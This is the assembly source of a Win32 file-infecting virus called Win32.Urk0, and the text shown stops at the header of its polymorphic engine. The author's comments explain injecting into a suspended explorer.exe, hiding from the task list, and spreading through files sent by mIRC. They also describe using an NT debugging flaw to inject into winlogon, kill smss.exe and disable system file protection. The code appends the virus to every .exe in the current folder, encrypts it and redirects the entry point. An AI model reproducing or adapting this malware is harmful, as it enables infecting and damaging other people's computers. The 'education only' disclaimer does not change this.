;THIS IS A VIRUS SOURCE CODE.NOW,THIS FILE ITS NOT DANGER.IM NOT RESPONSABLE OF DAMAGES
;IN CASE YOU COMPILE AND LINK IT TO CREATE A EXECUTABLE.THIS CODE IS ONLY FOR ENTERTAIMENT
;AND EDUCATION.
;I KNOW THIS CODE COULD TO HAVE (AND IM 99% SURE IT HAS) BUGS. I CODED IT ONLY FOR 
;FUN, I NO WANT THIS VIRUS INFECTED COMPUTERS UNLESS YOU DID IT FOR UR ELECTION SO
;IM NOT REALLY WORRIED COZ THIS VIRUS IS NOT DONE FOR CORRUPT A SYSTEM.  
;
;win32.Urk0 (Lady Marian 3)
;This is a Win32 virus.
;
;Win9x:
;It uses a method that i havent seen in other viruses.Second part of virus(where it 
;polymorphs decryptor,infects,...) is descrypted and copied directly to other process
;that previously it creates(ill try it was a process created from a random file but for
;now it do it with explorer.exe) suspended.Then it unprotect mem of primary module of
;process with VirtualProtectEx and overwrite process mem with its code since entrypoint
;of new process.Then we reanude thread of created process so virus is executed in other 
;process.This can be made MAX_DEPTH times.Explorer creates other process and inject there 
;its code,and again and again and again...for MAX_DEPTH times.
;I think this difficults emulation and debugging.In addition if a 
;memory monitor detects a virus behaviour in memory it detects virus as other file
;(for now explorer.exe).
;Note virus never infects explorer.exe in disk,only in memory,so if virus is searched in 
;explorer.exe it is not found.In addition when i create new process i pass 
;CREATE_NEW_PROCESS_GROUP flag so new process is created without father...
;suppostly there isnt relation between creator process and new process.  
;In addition when virus is executing in explorer.exe it calls to RegisterServiceProcess
;so user doesnt see two explorer.exe in task list.
;With this method we return the control to host fastly becoz slow part of virus is executed
;currently with host becoz it is executing in explorer.exe where we are injected our code.
;First part of virus is encrypted.Decryptor is polimorphed.Key is changed with each generation.
;Polymorphic engine its not very complex.It interchanges registers used and inserts 
;trash instructions.Trash uses recursively itself so we can find trash in this manner:
;
;xor reg32a,imm32a___
;add reg32b,imm32b_  |
;cli               | |
;clc               | |
;sub reg32b,imm32b_| |
;cli                 |
;cpuid               |
;...			   |
;xor reg32a,imm32a___|
;...
;
;I wanna do it better with a v2.0 of the virus :P
;Second part is encrypted with random key.Decryptor its not poly.However,virus doesnt
;modify its code directly becoz it,while is injecting code to explorer.exe,is 
;unencrypting bytes before injecting.
;It uses EPO method too.Insert a jmp(and ill insert some antidebugging trickz too)
;in entrypoint of infected file(later it restores bytes overwrited).
;Apis are gotten by CRC.
;For infection it adds itself at end of last section.Increase size of file infected.
;It only infects .exe files.
;For now Urk0 doesnt have payload(i dont know if i ll add it :-m )
;In addition Urk0 has two manners of infection.It can infect files with explorer code
;encrypted or withouth encrypting.If it isnt encrypted it have per-process characteristics.
;It works in the same manner but in addition it hooks CreateFileA api.
;It always infects mirc.exe file with per-process characteristics becoz mirc.exe use 
;CreateFileA to open files that it will send(with dcc) so ill infect files before sending
;and in this manner virus will arrive other computer ;)(With mirc.exe and others similar).
;If you read this code you will see i have spend a lot of bytes that i could have not
;spend it,becoz for now i have not optimizated the code.I must optimizate it and
;optmizate poly engine.
;Structure of code:
;
;      --------------------------------------SVirus
;      -----------------------SCode
;         (Entry point 2)
;         Code executed
;         after injecting
;         in explorer.exe
;         Encrypted with random. 
;	    Note if this part is
;         not encrypted some code
;         here can be executed 
;         before injecting to
;         explorer for 
;         perprocess propose
;      -----------------------ECode
;         (Entry point 1)
;         Decryptor of code since
;         Encrypted to EVirus		
;      -----------------------Encrypted
;         Here it creates process
;         explorer.exe and injects
;         code(unencrypting SCode
;         to ECode at same time it 
;         write each dword) to 
;         explorer.exe since entry
;         point of it.When it has
;         injected the code it reanude
;         explorer and infection part
;         and others important parts
;         are executed in explorer.exe
;         process.
;         Later it restore for EPO
;         overwrited bytes and jmp 
;         to host          
;      --------------------------------------EVirus
;
;WinNT:
;In NT machines virus works in a manner very different.In Nt,virus will try to get a 
;handle to winlogon.exe with full privileges,using a flaw in dbgss implemented in smss.exe
;(you can see debploit flaw in august archives,Nt focus,www.securiteam.com).Using this flaw
;we inject our code in winlogon.Note that with this flaw we have a problem,when we try to get
;a handle to winlogon with debploit method,winlogon will terminate when our program
;terminate too,becouse our program set as debugger of winlogon,and winlogon as debuggee,
;so if we attach winlogon,when we terminate,it will terminate too.For this reason,winlogon
;code will kill smss.exe.Ok,this is a dramatic solution,however i think system will work
;very well without smss.exe.Smss.exe loads winlogon.exe and user mode part of win32 ss 
;in memory,and when system hangs,it takes control and show typical blue screen.In addition,
;it have implemented dbgss so if we kill it,a lot of debugger will not run(mmm...is this a
;problem??? ;).I was working a lot of time in my system with smss.exe terminated and i think
;my system worked perfectly(i wasnt be able to use debuggers...only softice).
;well,when winlogon code kills smss.exe,it disables sfp with ratter and benny method(29a
;number 6).Later it gets a handle to explorer and injects the code there.In explorer,
;virus will infect current folder of explorer.exe in intervals of 60 seconds.
;Note virus use ModuleBase + 28h for infection mark.At this offset there are 5 reserved dwords
;in dos header.I think to put infection mark in this field is a few lame :P ... i could
;to have put it in second field of time date stamp or with others methods but im not worry
;for infection mark. 
;
;
;and that is all :)
;
;
;SORRY BECOZ MY ENGLISH LEVEL ITS VERY LOW SO I M SORRY IF YOU DONT UNDERSTAND SOME 
;EXPRESSIONS THAT I USE BADLY.HOWEVER ILL TRY TO WRITE BETTER I CAN :)
;
;I MUST TO APOLOGIZE TOO COZ MY BADLY MANNER OF PROGRAMMING. MY CODE IS NOT OPTIMIZED
;FOR FAST AND NOT OPTIMIZED FOR SIZE :P . IN ADDITION THIS IS A CRAZY CODE :S 
;REALLY,IF I HAD TO READ IT I WOULD BE VERY ANGRY WITH THE AUTHOR :P COZ PERHAPS THE CODE
;IS NOT VERY MUCH UNDERSTANDABLE. SORRY .
;
;
;THX TO:
;
;OF COURSE:  � XEZAW !     My dear m3Nt0r -  THX.exp 99 :)  He shows with lot of pacience 
;to this poor person (me) all i know. Ill never be able to pay u all u have done for me :)
;MsCorlib who always helps me too :) a half of this virus is your ;) You are other m3Nt0r
;for me. In addition u know all things that i ask u O_O u r a genius :)
;GriYo who always helps me too.Though not directly,you are a m3Nt0r for me too :) with 
;your viruses.I love Dengue :),its a bible for me ;)
;Benny&Ratter,thx for that fantastic codes as Joss,ketamine,dob,all ratter's articles 
;about windows, sfc disable :) and all all all ;) thx.
;My good friends VirusBust,ViR[-_-],isotope,Pato,Nightmare
;_HangMan_ & Oyzzo ;) my dear msdos lovers :D
;And all people in #asm,#win32asm,#win32,#ensamblador and #virus in irc hispano 
;who helped me :)
;Well,i must put here a endless list of 'THX TO' becoz a lot of people have helped me,so
;ill only say thx all :*** and of course,if someone need me im here ;)
;And a infinitely 'THX TO' for LADY MARIAN: my Dark Angel,my Black Lotus,my Takhisys,
;my Queen Of Darkness,...    :*******************************************************
;Who is Urko?
;Urko is a dog. Urko is one of my best friends. Urko is a fantastic dog becoz sometimes.....
;Urko SPEAKS! Urko is very timid and only speaks to me...and not always...urko only 
;speaks when both,urko and me,we start to smoke that rare cigarretes that urko has. Then
;urko start to speak a lot of :) and we stay all night speaking,smoking and seeing films or
;playing trivial pursuit,or coding,or doing a lot of things :)
;Due this,i named this virus as win32.urk0 :)

.586p
.model flat,stdcall

extrn ExitProcess:proc
extrn GetLastError:proc
extrn GetTickCount:proc
extrn GetModuleHandleA:proc
extrn OpenProcess:proc

;macros

;;;;;;;;;;;;;;;;;;;;;;;
callz macro dir_call
db 0E8h
dd (dir_call - $ - 4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
jmpz macro dir_call
db 0E9h
dd (dir_call - $ -4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
CalcLenString macro
local loopin
push esi
dec esi
loopin:
inc esi
cmp byte ptr[esi],0
jne loopin
mov ecx,esi
pop esi
sub ecx,esi
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
GezApi macro BaseKernel,ApiCRC,ApiNameLen
mov eax,BaseKernel
mov edx,ApiCRC
mov ebx,ApiNameLen
callz GetApi
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
GezSyscall macro BaseNtdll,ApiCRC,ApiNameLen
GezApi BaseNtdll,ApiCRC,ApiNameLen
mov eax,[eax + 1]
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
syscallz macro fc,paramz ;from Ratter's win2k.Joss 
mov eax,fc
lea edx,[esp]
int 2eh
add esp,(paramz*4)
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
Writez macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of writted bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,WriteMemoryProcessCRC,WMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;
Readz macro BaseKernel,hProcess,OffsetInProc,Buffer,Size
push 0
mov  [esp],esp ;for storing number of read bytes
push Size
push Buffer
push OffsetInProc
push hProcess
GezApi BaseKernel,ReadMemoryProcessCRC,RMPNameLen
call eax
endm
;;;;;;;;;;;;;;;;;;;;;;;

.data

;some datas for first generation

kernel32dll db 'kernel32.dll',0
auxi dd 0
az db 'Sleep',0
azz db 'ContinueDebugEvent',0
.code 
start:

;vvvvvvvvvvvvvvvvvvvFIRST GENERATION CODE
jmpz jmpedSize

db '*Virus size'
virSize = EVirus - SVirus
db 0
dw virSize and 0FF00h
db virSize and 00FFh
db 0  

jmpedSize:

;for getting apis crcs:
lea esi,az
CalcLenString
mov edi,ecx
call CRC32
lea esi,azz
CalcLenString
mov edi,ecx
call CRC32

;i unprotect code:
push offset kernel32dll
call GetModuleHandleA
push eax
mov  esi,offset SVirus
mov  ecx,EVirus - SVirus
xor  ebx,ebx
callz UnprotectMem
pop  eax
mov [kernel],eax
pushad
xor ebp,ebp
;ill test poly
callz Poly
mov eax,[CryptKey]
mov auxi,eax
popad
;I crypt necesary parts
call GetTickCount
or  eax,0FFFF0000h
mov ecx,((ECode - SCode)/4)-1
inc ecx
Cryptit:
dec ecx
xor dword ptr [SCode + 4*ecx],eax
or  ecx,ecx
jnz Cryptit

mov eax,auxi

callz DkRyPtIt_
DkRyPtIt_:
pop esi 
add esi,Encrypted - DkRyPtIt_
mov ecx,((EVirus - Encrypted)/4)
GoGoGo_:
xor dword ptr [esi + ecx*4 - 4],eax
dec ecx
or  ecx,ecx
jnz GoGoGo_
jmpz MyEntryPoint

;^^^^^^^^^^^^^^^^^^^FIRST GENERATION CODE


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


;vvvvvvvvvvvvvvvvvvvSECOND GENERATION

SVirus: 


;APIS NAMES CRCS AND LENGHTS

LoadLibraryACRC             equ 3fc1bd8dh
LLNameLen                   equ 12
CloseHandleCRC 		    equ 0b09315f4h
CHNameLen      		    equ 11
FindFirstFileACRC           equ 0c9ebd5ceh
FFFNameLen                  equ 14
FindNextFileACRC            equ 75272948h
FNFNameLen                  equ 13
FindCloseCRC                equ 0d82bf69ah
FCNameLen                   equ 9
GetTickCountCRC             equ 5b4219f8h
GTCNameLen                  equ 12
WriteMemoryProcessCRC       equ 4f58972eh
WMPNameLen                  equ 18
ReadMemoryProcessCRC        equ 0f7c7ae42h
RMPNameLen                  equ 17
ResumeThreadCRC             equ 3872beb9h
RTNameLen                   equ 12
ExitProcessCRC              equ 251097CCh
EPNameLen                   equ 11
SetFileAttributesACRC       equ 156b9702h
SFANameLen                  equ 18
CreateFileACRC              equ 553b5c78h
CFNameLen                   equ 11
CreateFileMappingACRC       equ 0b41b926ch
CFMNameLen                  equ 18
MapViewOfFileCRC            equ 0A89b382fh
MVFNameLen                  equ 13
UnmapViewOfFileCRC          equ 391ab6afh
UVFNameLen                  equ 15
SetFileTimeCRC              equ 21804a03h
SFTNameLen                  equ 11
GetModuleHandleACRC         equ 0B1866570h
GMHNameLen                  equ 16
GetLastErrorCRC             equ 0d2e536b7h
GLENameLen                  equ 12
RegisterServiceProcessCRC   equ 3b5ef61fh
RSPNameLen                  equ 22
SetCurrentDirectoryACRC     equ 69b6849fh
SCDNameLen                  equ 20
GetCurrentDirectoryACRC     equ 0c79dc4e3h
GCDNameLen                  equ 20
GetWindowsDirectoryACRC     equ 0fff372beh
GWDNameLen                  equ 20
GetModuleFileNameACRC       equ 08bff7a0h
GMFNameLen                  equ 18
CreateProcessACRC           equ 0a851d916h
CPNameLen                   equ 14
Module32FirstCRC            equ 38891c00h
M32FNameLen                 equ 13
Module32NextCRC             equ 0f6911852h
M32NNameLen                 equ 12
CreateToolhelp32SnapShotCRC equ 0c1f3b876h
CT32SNameLen                equ 24
VirtualProtectExCRC         equ 5d180413h
VPNameLen                   equ 16
GetCurrentProcessCRC        equ 0d0861aa4h        
GCPNameLen                  equ 17  
OpenProcessTokenCRC         equ 0f9c60615h
OPTNameLen                  equ 16
LookupPrivilegeValueACRC    equ 0da87bf62h
LPVNameLen                  equ 21
AdjustTokenPrivilegesCRC    equ 0de3e5cfh
ATPNameLen			    equ 21
EnumProcessesCRC            equ 0509a21ch
EPSNameLen			    equ 13
EnumProcessModulesCRC       equ 0dea82ac2h
EPMNameLen                  equ 18
GetModuleInformationCRC     equ 0f2a84636h
GMINameLen                  equ 20
SuspendThreadCRC            equ 0bd76ac31h
STNameLen                   equ 13
FreeLibraryCRC              equ 0da68238fh
FLNameLen                   equ 11
GetVersionCRC               equ 4ccf1a0fh
GVNameLen                   equ 10
RasDialACRC			    equ 0b88da156h
RDNameLen                   equ 8
GetModuleBaseNameACRC       equ 1720513eh
GMBNNameLen                 equ 18
OpenProcessCRC              equ 0df27514bh
OPNameLen 			    equ 11
ZwConnectPortCRC            equ 0cbaec255h
ZCPNameLen			    equ 13
NtConnectPortCRC  	    equ 0c88edce9h
NCPNameLen			    equ 13
ZwRequestPortCRC		    equ 0e28aebd1h
ZRPNameLen			    equ 13
DbgUiConnectToDbgCRC        equ 09a51ac3ah
DUCTDNameLen		    equ 17
DbgSsInitializeCRC          equ 0d198b351h
DSINameLen			    equ 15
DbgSsHandleKmApiMsgCRC      equ 2e9c4e99h
DSHKAMNameLen		    equ 19
GetCurrentProcessIdCRC      equ 1db413e3h
GCPINameLen                 equ 19
GetCurrentThreadIdCRC       equ 8df87e63h
GCTINameLen                 equ 18
WaitForDebugEventCRC        equ 96ab83a1h
WFDENameLen			    equ 17
ContinueDebugEventCRC       equ 0d8e77e49h
CDENameLen		          equ 18
VirtualAllocExCRC	          equ 0e62e824dh
VANameLen			    equ 14
CreateRemoteThreadCRC       equ 0ff808c10h
CRTNameLen                  equ 18
NtTerminateProcessCRC       equ 94fcb0c0h
NTPNameLen                  equ 18
ExitThreadCRC		    equ 80af62e1h
ETNameLen                   equ 10
GetCurrentDirectoryWCRC     equ 334971b2h
GCDWNameLen			    equ 20
FindFirstFileWCRC		    equ 3d3f609fh
FFFWNameLen                 equ 14
SleepCRC			    equ 0CEF2EDA8h
SNameLen                    equ 5



Kernel32CRC                equ 204c64e5h ;CRC of 'kernel32' string


ERROR_NO_MORE_FILES        equ 18
PAGE_EXECUTE_READWRITE     equ 40h
MEM_COMMIT                 equ 00001000h
MEM_RESERVE                equ 00002000h
STARTUPINFOSIZE            equ 68
PROCESSINFORMATIONSIZE     equ 16
CREATE_SUSPENDED           equ 4
DEBUG_PROCESS              equ 1
CREATE_NEW_PROCESS_GROUP   equ 200h

TH32CS_SNAPMODULE          equ 8
SNAPSHOT                   equ 16

;config constants
MAX_DEPTH                  equ 1   ;min depth,for now
INFECTION_PROBABILITY      equ 8   ;values 0 - 7...if value > 7 always infects.If 0 never.
PER_PROCESS_PROBABILITY    equ 8   ;values 0 - 7...if value > 7 never infects with per-process
					     ;characteristic.If 0 always with per-process.
WORK_IN_NT                 equ 1   ;if WORK_IN_NT == 1,virus works in NT and try to do 
					     ;some specifics things for NT.If 0,virus exits if NT.


SCode:
;when we infect in memory the explorer process injecting our code the execution begins here

			;This code is encrypted with random key each 4 bytes
callz d_offsetz   ;first byte is E8000000h when uncrypted
d_offsetz:
pop ebp
sub ebp,offset d_offsetz
pop  eax  
push eax
xor  ax,ax
add  eax,1000h
;eax -> a part of kernel32
SearchKernelz:
sub  eax,1000h
cmp  word ptr [eax],'ZM'
jne  SearchKernelz

mov  [ebp + kernel],eax

;we set our process as service process.
push eax
GezApi eax,RegisterServiceProcessCRC,RSPNameLen
push 1
push 0
call eax
pop eax

;we will setup a SEH frame and if a error occurs nobody know it :D

lea esi,[ebp + ExplorerEnd]
push esi
push dword ptr fs:[0]             
mov fs:[0],esp		;we set the SEH frame
				;note its not necessary our handler 
                        ;restore SEH becoz we will terminate
				;the process 

;we repeat the process of injection of code in explorer MAX_DEPTH times.When we have loaded
;and infected explorer at MAX_DEPTH time then it's executed file infection zone.
;I think it will be more difficult for avs with this trap.

cmp  dword ptr [ebp + ExplorerDepth],MAX_DEPTH
je   Explorer2
add dword ptr [ebp + ExplorerDepth],1      
callz InjectToExplorer                    
GezApi eax,ExitProcessCRC,EPNameLen       
push 0
call eax
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;This code is executed in the last explorer.exe what we have injected our code

Explorer2:
;eax = Base of Kernel
;ebp = d_offset

mov dword ptr [ebp + ExplorerDepth],0 ;this is the last explorer injection

;now ill infect all files .exe in Current folder
callz InfectCurrentFolder

ExplorerEnd:
callz DoffEnd
DoffEnd:
pop ebp
sub ebp,offset DoffEnd
mov eax,[ebp + kernel]
;eax = kernel base
GezApi eax,ExitProcessCRC,EPNameLen
push 0
;eax -> ExitProcess
call eax
;;;;;;;;;;;;;;;;;;;;;;

kernel        dd 0
CryptKey      dd 0
ExplorerDepth dd 0


FILETIME struct
FT_dwLowDateTime         dd             ?
FT_dwHighDateTime        dd             ?
FILETIME ends
WIN32_FIND_DATA:
WFD_dwFileAttributes     dd             ?
WFD_ftCreationTime       FILETIME       <?>
WFD_ftLastAccessTime     FILETIME       <?>
WFD_ftLastWriteTime      FILETIME       <?>
WFD_nFileSizeHigh        dd             ?
WFD_nFileSizeLow         dd             ?
WFD_dwReserved0          dd             ?
WFD_dwReserved1          dd             ?
WFD_szFileName           db   260  dup (?)
WFD_szAlternateFileName  db   16   dup (?)      

;;;;;;;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;InfectCurrentFolder infects files with mask in files variable in current folder
;in:
;    none
;out:
;    none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

InfectCurrentFolder:

callz Poly ;we poly the decryptor overwriting code with new decryptor for 
           ;the moment when we will infect a file

;here begins zone where we will infect files
;if all things are in order,current directory for memory-infected explorer  
;is the same as file.exe that contains virus.

lea eax,[ebp + WIN32_FIND_DATA]
push eax
lea eax,[ebp + files]
push eax
mov eax,[ebp + kernel]
GezApi eax,FindFirstFileACRC,FFFNameLen
call eax
mov [ebp + SearchHand],eax
jmpz TestTypeOfInfection

MoreFiles: ;)

callz Poly ;poly again so each infected file will be different
lea eax,[ebp + WIN32_FIND_DATA]
push eax
push dword ptr [ebp + SearchHand]
mov eax,dword ptr [ebp + kernel]
GezApi eax,FindNextFileACRC,FNFNameLen
call eax

TestTypeOfInfection:

or eax,eax
je EndCurrentFolderInfection
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
and eax,7
cmp eax,INFECTION_PROBABILITY ;probability of infection.By default always.
jge MoreFiles 
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
mov ecx,eax
mov ebx,eax
rol ebx,cl
and ebx,7
xor eax,eax
cmp ebx,PER_PROCESS_PROBABILITY ;probability of per-process.By default never.
jge WithPerProcess 
inc eax
WithPerProcess:
push eax
callz TestFile
or eax,eax
jnz PerProcessOrNoInfect
pop eax
GoInfectIt:
callz InfectIt
jmpz MoreFiles
PerProcessOrNoInfect:
dec eax
or eax,eax
jz ForcePerProcess
;if no force perprocess and no normal,then -1 and no infect so more files
pop eax
jmpz MoreFiles
ForcePerProcess:
pop ebx
jmpz GoInfectIt

EndCurrentFolderInfection:
ret

;;;;;;;;;;;;;;;;;;;;;;;;
files         db '*.exe',0
SearchHand    dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;



;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;InfectIt uses WIN_FIND_DATA for infecting file which information is contained in that struc
;in:
;   eax = 0 without encryption(but with perprocess enable)   eax = 1 with encryption(but
;   											    no enabled perprocess)
;out:
;   none
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
InfectIt:
mov [ebp + Encryption],eax
pushad
callz MapFile
or eax,eax
jz EndInfection
mov eax,[ebp + WFD_nFileSizeLow]
add eax,EVirus - SVirus
mov [ebp + FileInfectedSize],eax
mov ebx,[ebp + ViewHandle]
cmp word ptr [ebx],'ZM'
jne CloseAndBye
cmp word ptr [ebx + 8],4h
jne CloseAndBye
mov edi,[ebx + 3ch]
add edi,ebx
cmp word ptr [edi],'EP'
jne CloseAndBye
cmp word ptr [ebx + 28h],'Zv';my infection mark
je  CloseAndBye 
mov ax,[edi + 16h]
test ax,2		;yes IMAGE_FILE_EXECUTABLE_IMAGE
je   CloseAndBye
test ax,1000h     ;no IMAGE_FILE_SYSTEM
jne CloseAndBye 
test ax,2000h     ;no IMAGE_FILE_DLL
jne CloseAndBye
mov ax,[edi + 5ch]
test ax,1         ;no IMAGE_SUBSYSTEM_NATIVE 
jne CloseAndBye

;we have a file executable in PE format and not infected by this virus so ill continue 
;with infection.In addition is not a system file.


mov edi,dword ptr [edi + 3ch];file alingment
mov dword ptr [ebp + FileAlignment],edi
AlignSize:
mov eax,[ebp + FileInfectedSize]
xor edx,edx
div edi
inc eax
;we divide size/alignment and inc result for knowing the new number of blocks
;and next we multiplicate number of blocks x size of block
mul edi
mov [ebp + WFD_nFileSizeLow],eax ;for in next mapping will be mapped file size + space for vir
callz CloseAll
callz MapFile                    ;with size to allocate virus
or eax,eax
jz EndInfection

;now we have file mapped with enought space at end of file to append there our virus ;)

mov   ebx,[ebp + ViewHandle]
mov   word ptr [ebx + 28h],'Zv';infection mark 
mov   eax,[ebx + 3ch];lfanew
add   ebx,eax;ebx -> PE
mov   eax,[ebx + 28h]
mov   [ebp + OldEntryPoint],eax
xor   eax,eax
mov   ax,[ebx + 6];number of sections
mov   [ebp + Sections],eax
xor eax,eax
mov ax,word ptr [ebx + 14h]
add ebx,18h
add ebx,eax
mov ecx,[ebp + Sections]
dec ecx
mov [ebp + FirstSection],ebx
LastSection:
add ebx,28h
loop LastSection
;we have ebx -> last section 
mov [ebx + 24h],0A0000020h ;section is executable,readable,writable and with code
mov eax,[ebx + 10h];size of raw data
add eax,[ebx + 0ch];add size + RVA of section.
add eax,MyEntryPoint - SVirus
;eax = New Entry Point
sub eax,dword ptr [ebp + OldEntryPoint]
sub eax,EPOCodeSize
mov [ebp + EPOrel32],eax
mov eax,[ebx + 10h];size of raw data
add eax,[ebx + 14h];add size + pointer to raw data of section.We are in the end of last section
			 ;We must copy there our code ;)
mov [ebp + EndLastSection],eax

mov esi,ebx

;now we must alignment section

mov eax,[esi + 10h];size of raw
add eax,EVirus - SVirus
mov edi,[ebp + FileAlignment]
xor edx,edx
div edi
inc eax
mul edi
mov [esi + 10h],eax;new sizeofrawdata
mov [esi + 8],eax;new VirtualSize
add eax,dword ptr [esi + 0ch];size + virtual address
mov ebx,[ebp + ViewHandle]
mov ecx,[ebx + 3ch];lfanew
add ebx,ecx;ebx -> PE
mov [ebx + 50h],eax;new size of image

EPOzone:

;well,we have modified executable for introducting our code.Here we can modify
;entry point for pointing to our code but i think EPO methods its more efective.

;first all i must search the entry point,but no when file is executing,i must search
;raw entry point,entry point in file.There i must copy EPOCode.

mov ecx,[ebp + Sections]
mov ebx,[ebp + FirstSection]
mov esi,[ebp + OldEntryPoint]

FindCodeSec:

mov eax,[ebx + 0ch]
add eax,[ebx + 10h];eax -> end of this section
cmp eax,esi
jg  FoundCodeSec
add ebx,28h
loop FindCodeSec

FoundCodeSec:

;ebx ->header of section with entry point

sub esi,dword ptr [ebx + 0ch]
add esi,dword ptr [ebx + 14h];raw_e_point = e_point - VASection + PointerToRawDataSection 
mov [ebp + OldRawEntryPoint],esi
add esi,[ebp + ViewHandle]
push esi
lea edi,[ebp + EPORestoreBytes]
mov ecx,EPOCodeSize
push ecx
rep movsb
pop ecx
pop esi
lea edi,[ebp + SEPOCode]
xchg esi,edi
rep movsb

;now we have copied bytes for EPO to entrypoint and old bytes to EPORestoreBytes for
;restoring when we return to host

;now we must copy virus code (encrypting necesary parts) to EndLastSection

mov edi,[ebp + EndLastSection]
add edi,dword ptr [ebp + ViewHandle]
push edi
lea esi,[ebp + SVirus]
mov ecx,EVirus - SVirus
rep movsb
mov eax,[ebp + kernel]
GezApi eax,GetTickCountCRC,GTCNameLen
call eax
pop edi
or eax,0FFFF0000h
cmp dword ptr [ebp + Encryption],0
jne YesEncrypt
xor eax,eax
YesEncrypt:
mov ecx,((ECode - SCode)/4)-1
inc ecx
CryptitExplorerCode:
dec ecx
xor dword ptr [edi + 4*ecx],eax
or  ecx,ecx
jnz CryptitExplorerCode
add edi,Encrypted - SCode
mov eax,[ebp + CryptKey]
mov ecx,((EVirus - Encrypted)/4)-1
inc ecx
CryptitFirstCode:
dec ecx
xor dword ptr [edi + 4*ecx],eax
or  ecx,ecx
jnz CryptitFirstCode
CloseAndBye:
callz CloseAll
EndInfection:
popad
ret

;;;;;;;;;;;;;;;;;;;;;;

FileHandle          dd 0
MappingHandle       dd 0
ViewHandle          dd 0
FileInfectedSize    dd 0
FileAlignment       dd 0
Sections            dd 0
FirstSection        dd 0
EndLastSection      dd 0
OldRawEntryPoint    dd 0
Encryption          dd 0

;;;;;;;;;;;;;;;;;;;;;;;;

SEPOCode:

db 0E9h ;rel jmp to our code 
EPOrel32 dd 0
EEPOCode:
EPOCodeSize equ EEPOCode - SEPOCode

;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;

MapFile: ;it maps the file in WIN32_FIND_DATA
ChangeAttributesOfFile:
lea edi,[ebp + WFD_szFileName]
push 80h
push edi
mov eax,[ebp + kernel]
GezApi eax,SetFileAttributesACRC,SFANameLen
call eax
push 0
push 0
push 3
push 0
push 1
push 0C0000000h ;read and write access to file
lea eax,[ebp + WFD_szFileName]
push eax
mov eax,[ebp + kernel]
GezApi eax,CreateFileACRC,CFNameLen
call eax
inc  eax
or   eax,eax
jnz  np1 
ret
np1:
dec  eax
mov  [ebp + FileHandle],eax
push 0
mov  eax,[ebp + WFD_nFileSizeLow]
push eax
push 0
push 4
push 0
push dword ptr [ebp + FileHandle]
mov eax,[ebp + kernel]
GezApi eax,CreateFileMappingACRC,CFMNameLen
call eax
or   eax,eax
jz  CloseFile
mov [ebp + MappingHandle],eax
push dword ptr [ebp + WFD_nFileSizeLow]
push 0
push 0
push 000F001Fh
push eax
mov  eax,[ebp + kernel]
GezApi eax,MapViewOfFileCRC,MVFNameLen
call eax
or eax,eax
jz CloseMapping
mov [ebp + ViewHandle],eax
ret


;;;;;;;;;;;;;;;;;;;;;;

CloseAll:;close file opened with MapFile
push eax
mov eax,[ebp + kernel]
GezApi eax,UnmapViewOfFileCRC,UVFNameLen
push dword ptr [ebp + ViewHandle]
call eax
pop eax

CloseMapping:
push eax
mov eax,[ebp + kernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + MappingHandle]
call eax
pop eax

CloseFile:

RestoreAttributes:

push eax
lea eax,dword ptr [ebp + WFD_ftLastWriteTime]
push eax
lea eax,dword ptr [ebp + WFD_ftLastAccessTime]
push eax
lea eax,dword ptr [ebp + WFD_ftCreationTime]
push eax
push dword ptr [ebp + FileHandle]
mov eax,[ebp + kernel]
GezApi eax,SetFileTimeCRC,SFTNameLen
call eax
mov eax,[ebp + kernel]
GezApi eax,CloseHandleCRC,CHNameLen
push dword ptr [ebp + FileHandle]
call eax
pop eax

ret
;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;Poly creates a decryptor rutine overwriting code since MyEntryPoint to Encrypted
;
;in:
;   none
;out:
;   none
;
